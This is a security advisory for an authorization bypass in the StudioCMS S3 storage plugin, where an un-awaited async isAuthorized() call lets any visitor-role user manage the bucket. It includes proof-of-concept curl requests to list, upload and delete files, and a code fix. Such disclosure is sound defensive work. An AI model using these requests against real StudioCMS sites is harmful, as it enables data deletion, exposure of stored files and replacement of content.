Summary

The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.

Details

The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:

export type ParsedContext = {
    getJson: () => Promise<ContextJsonBody>;
    getArrayBuffer: () => Promise<ArrayBuffer>;
    getHeader: (name: string) => string | null;
    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async
};

Both context drivers implement it as async — packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:

isAuthorized: async (type) => {
    switch (type) {
        case 'headers': {
            // ... token verification ...
            const isEditor = level >= UserPermissionLevel.editor;
            if (!isEditor) return false;
            return true;
        }
        default: {
            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
            return isEditor;
        }
    }
},

But in the S3 storage manager, it's called without await — packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:

if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

And again at line 372 (PUT handler):

if (!isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.

Execution flow:

1. Visitor-role user sends POST to /studiocms_api/integrations/storage/manager
2. AstroLocalsMiddleware verifies session exists — passes (visitor is logged in)
3. Handler calls !isAuthorized('locals') → evaluates !Promise{...} = false
4. Authorization check is skipped entirely
5. Visitor performs the requested storage operation

PoC

# 1. Log in as a visitor-role user and obtain session cookie

# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"list","prefix":""}'

# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing

# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/octet-stream' \
  -H 'x-storage-key: malicious/payload.html' \
  --data-binary '<h1>Uploaded by visitor</h1>'

# Expected: 401 Unauthorized
# Actual: 200 File uploaded

# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","key":"important/document.pdf"}'

# Expected: 401 Unauthorized
# Actual: 200 File deleted

Impact

• Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
• Attacker can delete arbitrary files from the S3 bucket, causing data loss
• Attacker can list all files and generate presigned download URLs, exposing all stored content
• Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads

Recommended Fix

Add await to both isAuthorized() calls in packages/@studiocms/s3-storage/src/s3-storage-manager.ts:

// POST handler (line 200) — before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {

// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {

// PUT handler (line 372) — before:
if (!isAuthorized(type)) {

// After:
if (!(await isAuthorized(type))) {